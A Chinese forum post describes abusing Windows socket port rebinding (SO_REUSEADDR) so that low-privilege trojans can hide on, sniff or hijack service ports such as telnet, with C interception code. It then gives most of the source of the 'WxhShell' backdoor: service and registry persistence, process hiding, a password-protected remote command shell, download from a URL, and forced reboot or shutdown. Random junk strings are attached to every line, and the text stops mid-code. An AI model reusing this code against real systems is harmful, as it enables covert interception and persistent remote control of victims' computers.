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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g =%W"v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xp39TiXJ*  
uUJ2d84tV  
  saddr.sin_family = AF_INET; Yw{](qG7e`  
w5[POo' 5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w?/,LV  
Xr~r`bR=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o2.! G  
MdyH/.Te  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zkz:h7GUG-  
K E^_09  
  这意味着什么?意味着可以进行如下的攻击: I|PiZ1]2 Y  
bWyXDsr+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :*8@Mj Z4  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ']dTW#i  
8+!$k!=X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ` Y ut 1N  
p"X\]g^jA>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4dy)g)wM  
:wF(([&4p!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }W YY5L8^  
X%gJ, c(4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _I -0[w  
T JVNR_x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9XoKOR(  
1'd "O @  
  #include )GR^V=o7,Y  
  #include m2V4nxw]Qp  
  #include jK{CjfCNz  
  #include    PEBQ|k8g&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w|M?t{  
  int main() S=my;M-  
  { z1L.  
  WORD wVersionRequested; 0J_x*k6  
  DWORD ret; VVf~ULZ-  
  WSADATA wsaData; g$:2c7uL  
  BOOL val; \q,w)BE  
  SOCKADDR_IN saddr; `S.;&%B\  
  SOCKADDR_IN scaddr; qS7*.E~j|]  
  int err; A]n !d}?  
  SOCKET s; B8P%4@T  
  SOCKET sc; JD'/m hN0  
  int caddsize; !k[ zUti  
  HANDLE mt; M 35}5+  
  DWORD tid;   >DV0!'jW  
  wVersionRequested = MAKEWORD( 2, 2 ); QF^An B  
  err = WSAStartup( wVersionRequested, &wsaData ); L%BWrmg  
  if ( err != 0 ) { hQk mB|];5  
  printf("error!WSAStartup failed!\n"); Ig6s'^  
  return -1; fG.w;Aemv5  
  } !"1bV [^  
  saddr.sin_family = AF_INET; rKjQEO$yi  
   ;DGWUK.U[H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !Q?4sAB  
hR?rZUl2M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <fyv^e  
  saddr.sin_port = htons(23); tG{Vn+~/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 36j.is  
  { QzS{2Y[OQ  
  printf("error!socket failed!\n"); co*5NM^  
  return -1; k%LE"Q  
  } ?r@ZTuq#  
  val = TRUE; mhs%b4'>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T^Z#x-Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !KF;Z|_(I  
  { - Zw"o>  
  printf("error!setsockopt failed!\n"); N[mOJa:  
  return -1; Ea3tF0{  
  } G{s ,Y^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M0]fh5O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 11)~!in  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ht=yzJ9Pr  
=6 [!'K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )XNcy"   
  { qH(2 0Z!  
  ret=GetLastError(); HnpGPGz@F  
  printf("error!bind failed!\n"); {UhZ\qe  
  return -1; +\E\&^ZQ  
  } Oc8+an1m  
  listen(s,2); Uligr_c?  
  while(1) pu^1s#g8w  
  { -ss2X  
  caddsize = sizeof(scaddr); Wd%j;glG  
  //接受连接请求 h&Sl8$jVp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >LNl8X:Cz*  
  if(sc!=INVALID_SOCKET) FKzqJwT  
  { }\irr9,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5<S1,u5  
  if(mt==NULL) 6jnRC*!?  
  { -~xd-9v?  
  printf("Thread Creat Failed!\n"); R0+m7mx#E  
  break; !7w-?1?D  
  } H11Wb(6Wu  
  } !K@y B)9  
  CloseHandle(mt); ^8\pJg_0  
  } G(4k#jB  
  closesocket(s); $M><K  
  WSACleanup(); y}3V3uqK  
  return 0; QO%LSRw  
  }   zzxU9m~"  
  DWORD WINAPI ClientThread(LPVOID lpParam) B O"+m  
  { {!="PnB  
  SOCKET ss = (SOCKET)lpParam; 7eO8cPy  
  SOCKET sc; I?:V EN:  
  unsigned char buf[4096]; |;].~7^  
  SOCKADDR_IN saddr; Lf,gS*Tg?  
  long num; 68d@By  
  DWORD val; kj[[78  
  DWORD ret; U]P;X~$!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vD*KJ3(c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [;b9'7j'  
  saddr.sin_family = AF_INET; 'R$~U?i8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0q3 :"X  
  saddr.sin_port = htons(23); <9Chkb|B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Ne4A  
  { ^.4<#Qs  
  printf("error!socket failed!\n"); NfSe(rd  
  return -1; NT nn!k  
  } ZqhINM*Rm  
  val = 100; k82'gJ;MC=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n2QD*3i  
  { >SzTZ3!E  
  ret = GetLastError(); CUtk4;^y#  
  return -1; R:fu n ,  
  } O=mJ8W@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i44`$ps  
  { bv] ZUF0  
  ret = GetLastError(); ;Rt,"W)  
  return -1; k4|YaGhf  
  } {Cd*y6lI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LO2sP"9  
  { ffWvrY;j[  
  printf("error!socket connect failed!\n"); N$3F4b%+  
  closesocket(sc); %AJdtJ@0H  
  closesocket(ss); ) HmpVH  
  return -1; }skXh_Vu4  
  } $;">/ "7m  
  while(1) ~p8!Kb6  
  { O 8fh'6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |ST&,a$(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C2VZE~U+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5yQgGd)  
  num = recv(ss,buf,4096,0); M"J $c42  
  if(num>0) bySw#h_  
  send(sc,buf,num,0); 8Ej2JMc  
  else if(num==0) p&q&Fr-   
  break; Q'rG' |  
  num = recv(sc,buf,4096,0); )h/fr|  
  if(num>0) >sP;B5S  
  send(ss,buf,num,0); 3}vlj:L  
  else if(num==0) 8<o(z'&y  
  break; xE}q(.]  
  } rVO+ vhih  
  closesocket(ss); ClEtw   
  closesocket(sc); Io:xG6yG  
  return 0 ; N@) D,~  
  } ei"FN3Rm  
R"tLu/Sn  
y<gmp  
========================================================== 4iw+3 Q|  
+[>m`XTq  
下边附上一个代码,,WXhSHELL :xA'X+d/'  
6dNo!$C^  
========================================================== } o=g)  
)QKZI))G0  
#include "stdafx.h" rj6wKf z  
0)nU[CY  
#include <stdio.h> )cvC9gt  
#include <string.h> +Oxl1fDf  
#include <windows.h> P3:hGmk8|j  
#include <winsock2.h> *v&g>Ni  
#include <winsvc.h> 7y60-6r  
#include <urlmon.h> y)=Xo7j  
D,R/abYZH  
#pragma comment (lib, "Ws2_32.lib") ){,8}(|  
#pragma comment (lib, "urlmon.lib") 0>AA-~=-  
eHv/3"Og  
#define MAX_USER   100 // 最大客户端连接数 ^y?? pp<1J  
#define BUF_SOCK   200 // sock buffer 5ecqJ  
#define KEY_BUFF   255 // 输入 buffer uh GL1{  
k muF*0Bjk  
#define REBOOT     0   // 重启 f6z[k_lLN  
#define SHUTDOWN   1   // 关机 O/FQ'o1F  
KI# hII[Q.  
#define DEF_PORT   5000 // 监听端口 .-o$ IQsS  
:_vf1>[  
#define REG_LEN     16   // 注册表键长度 $V@IRBm  
#define SVC_LEN     80   // NT服务名长度 DQE.;0ld  
-m-~  
// 从dll定义API {5RM)J1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -f'z _&KI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H_jMl$f)j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9iGJYMWf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <8'}H`w%  
l.&6|   
// wxhshell配置信息 0uj3kr?cv  
struct WSCFG { pV1~REk$&  
  int ws_port;         // 监听端口 ;8ugI  
  char ws_passstr[REG_LEN]; // 口令 M,7v}[Tbl  
  int ws_autoins;       // 安装标记, 1=yes 0=no v_b%2;<1  
  char ws_regname[REG_LEN]; // 注册表键名 OpiN,>;  
  char ws_svcname[REG_LEN]; // 服务名 **oN/5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p! Hpq W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tQ*5[F,fm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zEa3a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [t>}M6?R:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5I@< 6S&X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vQ 5 p  
sqsBGFeG  
}; \`x$@s?  
qi$6y?  
// default Wxhshell configuration yQh":"$k  
struct WSCFG wscfg={DEF_PORT, VJm).>E3k  
    "xuhuanlingzhe", uN'e~X6  
    1, U t0oh  
    "Wxhshell", aLG6yVtu  
    "Wxhshell", %\CsP!  
            "WxhShell Service", sN;xHTY  
    "Wrsky Windows CmdShell Service", \QQw1c+  
    "Please Input Your Password: ", h19c*,0z!  
  1, Sl{]Z,  
  "http://www.wrsky.com/wxhshell.exe", 1*#64Y5F  
  "Wxhshell.exe" qA5tMZ^w  
    }; RtN5\  
6=iz@C7r  
// 消息定义模块 f7\$rx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JZ9w!)U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <&Y7Q[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8I`>tY  
char *msg_ws_ext="\n\rExit.";   Lxs  
char *msg_ws_end="\n\rQuit."; 6>zO"9  
char *msg_ws_boot="\n\rReboot..."; Fq9AO~z  
char *msg_ws_poff="\n\rShutdown..."; PjDYdT[  
char *msg_ws_down="\n\rSave to "; h>q& X4-  
}c$Zlb  
char *msg_ws_err="\n\rErr!"; 6"z:s-V  
char *msg_ws_ok="\n\rOK!"; ([^1gG+>J  
RYy_Ppn96f  
char ExeFile[MAX_PATH]; e'p'{]r<w  
int nUser = 0; l7nc8K  
HANDLE handles[MAX_USER]; 6gNsh  
int OsIsNt; 3N[t2Y1r  
FG:(H0  
SERVICE_STATUS       serviceStatus; G-~+FnUC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8-+Ce;h  
]haZT\  
// 函数声明 %?^IS&]Z  
int Install(void); X`ee}C.D_  
int Uninstall(void); }e  s  
int DownloadFile(char *sURL, SOCKET wsh); UXvUU^k"v  
int Boot(int flag); t*iKkV^aE  
void HideProc(void); B!4chxzUZ  
int GetOsVer(void); ( hp 52Vse  
int Wxhshell(SOCKET wsl); UBLr|e>dQE  
void TalkWithClient(void *cs); lmf vT}$B  
int CmdShell(SOCKET sock); r ".*l?=  
int StartFromService(void); z;J"3kM  
int StartWxhshell(LPSTR lpCmdLine); }CIH1q3P  
JUHmIFjZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9rf6,hF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'H0uvvhOp  
k+t?EZ6L  
// 数据结构和表定义 j KGfm9|zj  
SERVICE_TABLE_ENTRY DispatchTable[] = ~+ Mp+gE  
{ -XRn%4EX?  
{wscfg.ws_svcname, NTServiceMain}, j  Jt"=  
{NULL, NULL} 3rBSwgRl  
}; g Y|f[M|  
\!x~FVA  
// 自我安装 oSq?. *w<  
int Install(void) ark~#<SqAr  
{ #rD0`[pz  
  char svExeFile[MAX_PATH]; clV3x` z  
  HKEY key; m&a.i B  
  strcpy(svExeFile,ExeFile); W US[hx,  
H|JPqBNRh  
// 如果是win9x系统,修改注册表设为自启动 TF R8  
if(!OsIsNt) { G)t_;iNL|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o<cg9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1DLAfsLlj  
  RegCloseKey(key); Q8. =w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q!iS Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LDc?/ Z1  
  RegCloseKey(key); ~.7/o0'+  
  return 0; )31{.c/  
    } KPHtD4  
  } K2|2Ks_CS  
} |Tv}leJF  
else { Xt} 4B#  
H{hd1  
// 如果是NT以上系统,安装为系统服务 $lVR6|n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W T~UEK'  
if (schSCManager!=0) ,a 2(h  
{ g\%;b3"#  
  SC_HANDLE schService = CreateService PDQEI55  
  ( XB0G7o%1  
  schSCManager, B8.a#@R  
  wscfg.ws_svcname, &YpViC4K.  
  wscfg.ws_svcdisp, CiF(   
  SERVICE_ALL_ACCESS, ( f]@lNmx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jui:Ms  
  SERVICE_AUTO_START, }$%j}F{  
  SERVICE_ERROR_NORMAL, J'}G~rB<<  
  svExeFile, ~?#>QN\\c  
  NULL, F \0>/  
  NULL, C-)mP- |8  
  NULL, 2~`vV'K  
  NULL, L)(JaZyV5  
  NULL 1V ,Mk#_  
  ); 7M8oI.?C|  
  if (schService!=0) yzyBr1s  
  { 27J!oin$  
  CloseServiceHandle(schService); N> 7sG(!'"  
  CloseServiceHandle(schSCManager); A#7/,1h\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )+7|_7 !x  
  strcat(svExeFile,wscfg.ws_svcname); nwS @r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u1 Z;n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ty ESDp%  
  RegCloseKey(key); u:]c  
  return 0; QQI,$HId  
    } ;*u"hIl1/  
  } I-Q@v`  
  CloseServiceHandle(schSCManager); wE3L,yx=  
} WwUhwY1o!L  
} Ah 2*7@U  
Nwwn #+  
return 1; TW?_fse*[  
} f`<elWgc"  
=Gv*yR*]t  
// 自我卸载 (n{x"rLy/  
int Uninstall(void) z`}z7e'>  
{ 6.Jvqn  
  HKEY key; & zR\Rmpt  
3#A4A0  
if(!OsIsNt) { \+)aYP2Hu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "_^vQ1M]Z  
  RegDeleteValue(key,wscfg.ws_regname); _^/k  
  RegCloseKey(key); 9\'JtZO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `' .;U=mF  
  RegDeleteValue(key,wscfg.ws_regname); HVdy!J  
  RegCloseKey(key); CP'b,}Dd?I  
  return 0; ' kOkwGf!  
  } %1oB!+tv  
} X;bHlA-g  
} y'5`Uo?\",  
else { oyT`AYa  
dy>5LzqK3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K/iFB  
if (schSCManager!=0) : E`78  
{ n1U!od  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \wV^uS   
  if (schService!=0) O=[Q >\p  
  { N_^PoX935O  
  if(DeleteService(schService)!=0) { ["fUSQ  
  CloseServiceHandle(schService); tVv/G ~(  
  CloseServiceHandle(schSCManager); ))%f"=:wt  
  return 0; DaS~bweMw  
  } f\;w(_  
  CloseServiceHandle(schService); Z=9<esx  
  } nR]*RIp5  
  CloseServiceHandle(schSCManager); v<@3&bot  
} F;bkV}^  
} GaCRo7  
t[r 6jo7  
return 1; Sa[?B  
} (#?O3z1@"  
z]2MR2W@X  
// 从指定url下载文件 Oq^t[X'  
int DownloadFile(char *sURL, SOCKET wsh) Z9G4in8  
{ ~GE|,Np  
  HRESULT hr; 6gabnW3  
char seps[]= "/"; `_k_}9Fr  
char *token; 3$?nzKTW\  
char *file; p()q)P  
char myURL[MAX_PATH]; ~470LgpO1  
char myFILE[MAX_PATH]; @d5$OpL$%  
>V?W_oM)  
strcpy(myURL,sURL); ^F'~|zc"C  
  token=strtok(myURL,seps); H:EK&$sU  
  while(token!=NULL) w\mTug  
  { mGDy3R90  
    file=token; 8.G<+.  
  token=strtok(NULL,seps); `$Um  
  } q*Oj5;  
&xt[w>/i  
GetCurrentDirectory(MAX_PATH,myFILE); w~_ycY.e  
strcat(myFILE, "\\"); 2 OV$M~  
strcat(myFILE, file); vz(=3C[  
  send(wsh,myFILE,strlen(myFILE),0); *8Su:=*b  
send(wsh,"...",3,0); ce;$)Ff\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^OV!Q\j.q  
  if(hr==S_OK) lN&+<>a  
return 0; L8q#_k  
else RH{+8?0  
return 1; p$G3<Z&7  
_Ss}dU9  
} )Tieef*Q~  
Nd]RbX  
// 系统电源模块 )Z/$;7]#  
int Boot(int flag) <"K2t Tg.  
{ +1I 7K|M  
  HANDLE hToken; QOgGL1)7-  
  TOKEN_PRIVILEGES tkp; 0i"2s}^+_  
%y\5L#T!>  
  if(OsIsNt) { [MQ* =*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DE7y\oO]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AOkG.u-k  
    tkp.PrivilegeCount = 1; TV0sxod6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JhjH_)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b)x0;8<  
if(flag==REBOOT) { $0x+b!_l@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *P5\T4!+d  
  return 0; O8A(OfX  
} (, ik:j  
else { +=Q:g,kP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \D k >dE&I  
  return 0; HL]J=Gh  
} pacD7'1{  
  } Pr>05lg  
  else { =f H5 r_n  
if(flag==REBOOT) { BeLqk3'/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +)bn}L>R l  
  return 0; 3.Yg3&"Z  
} d2NFdBoI  
else { j/Y]3RSMp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WVsj  
  return 0; =L@CZ"  
} j!kJ@lbP  
}  zR'EQ  
0'THL%lK  
return 1; <KK.f9^o(  
} u,nn\>Y  
Sk"hqF.2  
// win9x进程隐藏模块 OiXO<1'$  
void HideProc(void) i-;#FT+ Xc  
{ Cg?Mk6i  
M%la@2SK=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l53Q"ajG  
  if ( hKernel != NULL ) Ywv\9KL  
  { +."|Y3a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?9O#b1f N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IiRQ-,t1  
    FreeLibrary(hKernel); sV-P R]  
  } 63%V_B|  
wsQ],ZE  
return; N P+ vi@Ud  
} {$Uj&/IC  
 ^|zag  
// 获取操作系统版本 |c8\alw  
int GetOsVer(void) :!Dm,PP%  
{ ^&C/,,U  
  OSVERSIONINFO winfo; p-_9I7?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E3Y0@r  
  GetVersionEx(&winfo); 8m=R" %h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ `1` E1X  
  return 1; }aVzr}!  
  else lw gwdB  
  return 0; E:M,nSc)53  
} 4eB oR%2o  
pnE]B0e  
// 客户端句柄模块 M ;b3- i  
int Wxhshell(SOCKET wsl) JFO,Q -y\  
{ tY]?2u%)  
  SOCKET wsh; szhSI  
  struct sockaddr_in client; ^`i z%^  
  DWORD myID; #:N#i  
'I+M*Iy  
  while(nUser<MAX_USER) Nu?A>Q  
{ %*!6R:gAp  
  int nSize=sizeof(client); n"aF#HR?0d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,wM}h  
  if(wsh==INVALID_SOCKET) return 1; VD@$y^!H  
0>BI[x@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gED|2%BXb  
if(handles[nUser]==0) 8x)i{>#i  
  closesocket(wsh); "_LqIW1   
else HfhI9f_x  
  nUser++; =No#/_  
  } ~GX ]K H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oy#(]K3`O  
QICxSk  
  return 0; T?f{.a)  
} P (7Q8i'  
4U}J?EB?K  
// 关闭 socket f OR9N/  
void CloseIt(SOCKET wsh) !~%DR~^`  
{ ?B;7J7T  
closesocket(wsh); axt;}8  
nUser--; \b $pH  
ExitThread(0); IAGY-+8e  
} hKN ;tq,  
bo90;7EK8  
// 客户端请求句柄 =y@0i l+V  
void TalkWithClient(void *cs) &v*4AZ['  
{ "ldd&><  
~!2fUewEu  
  SOCKET wsh=(SOCKET)cs; 0fBwy/:  
  char pwd[SVC_LEN]; ,G46i)E\  
  char cmd[KEY_BUFF]; pO7OP"q1  
char chr[1]; l4+ `x[^  
int i,j; LFxk.-{=  
t bR  
  while (nUser < MAX_USER) { i.W*Go+  
<F&XT@  
if(wscfg.ws_passstr) { a}f /<-L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^yc8is'`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "&f|<g5  
  //ZeroMemory(pwd,KEY_BUFF); c CDT27 @  
      i=0; LXxQI(RO  
  while(i<SVC_LEN) { @{fwM;me]P  
'{.4~:  
  // 设置超时 G8__6v~  
  fd_set FdRead; @w.DN)GPo  
  struct timeval TimeOut; .On qj^v  
  FD_ZERO(&FdRead); XI[n!)3  
  FD_SET(wsh,&FdRead); /1{:uh$  
  TimeOut.tv_sec=8; )h 6w@TF  
  TimeOut.tv_usec=0; ?.F^Oi6 u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uQn1kI[y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A'~mJO/   
8]vut{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4XVwi<)  
  pwd=chr[0]; z7:* ,X  
  if(chr[0]==0xd || chr[0]==0xa) { @J 5TDq @  
  pwd=0; B=n90XO |  
  break; j #: ARb  
  } p6BDhT(RS  
  i++; xFThs,w  
    } i?M-~EKu  
n.'Ps+G(  
  // 如果是非法用户,关闭 socket fa/o4S<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^{=UKf{  
} V[*>}XQER  
yF6AI@y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W/t,7lPFb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c u";rnj  
2 yANf  
while(1) { :/5G Hfyj  
#&r}J  
  ZeroMemory(cmd,KEY_BUFF); CP2wg .  
r_Ou\|jU  
      // 自动支持客户端 telnet标准   4OJD_  
  j=0; J!~kqNI  
  while(j<KEY_BUFF) { `^^t#sT   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YRBJ(v"9  
  cmd[j]=chr[0]; (2Lmu[  
  if(chr[0]==0xa || chr[0]==0xd) { 3o>JJJ=]  
  cmd[j]=0; ^W@8KB  
  break; ;P juO  
  } -eh .Tk  
  j++; WFk%nO/  
    } 2!W[ff@~7  
)i:*r8*~  
  // 下载文件 O#[bNLV  
  if(strstr(cmd,"http://")) { | Z7 j s"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *JFkqbf  
  if(DownloadFile(cmd,wsh)) B-KMlHe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^|xp;] :  
  else JCBX?rM/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d6[' [dG  
  } zvq}7,  
  else { OS<GAA0  
6m]?*k1HC  
    switch(cmd[0]) { w[ 3a^  
  Pn9;&`t  
  // 帮助 |1A0YjOD  
  case '?': { DHeZi3&i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EHhc2^e  
    break; j8 2w 3  
  } U" 3L  
  // 安装 JtMl/h  
  case 'i': { Hq<4G:#  
    if(Install()) iQ2}*:Jc$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RkF^V(  
    else $*N(feAs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a;IOL  
    break; NV(jp'i~  
    } t$t'{*t( T  
  // 卸载 ND.(N'/O  
  case 'r': { I9xu3izAmR  
    if(Uninstall()) (b[=~Nh'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); owA8hGF  
    else C<9GdN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +p jB/#4  
    break; J> ,w},`  
    } ?Q"<AL>Z  
  // 显示 wxhshell 所在路径 7\yh(+kN  
  case 'p': { :XAyMK7   
    char svExeFile[MAX_PATH]; yN`&oya  
    strcpy(svExeFile,"\n\r"); t$VRNZ`dy  
      strcat(svExeFile,ExeFile); "0 %f R"  
        send(wsh,svExeFile,strlen(svExeFile),0); gq*W 0S  
    break; T@P~A)>yo  
    } )OFN0'  
  // 重启 #tsP  
  case 'b': { w;Fy/XQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _!,2"dS  
    if(Boot(REBOOT)) XHKLl?-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"K.s2U^  
    else { ONpvx5'#  
    closesocket(wsh); 3w p@OF_  
    ExitThread(0); BKI-Dh  
    } a[j]fv*6  
    break; gn.)_  
    } 9$9a BW  
  // 关机 "x;FE<I  
  case 'd': { ~(tt.l#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GoX<d{  
    if(Boot(SHUTDOWN)) <1lB[:@%U  
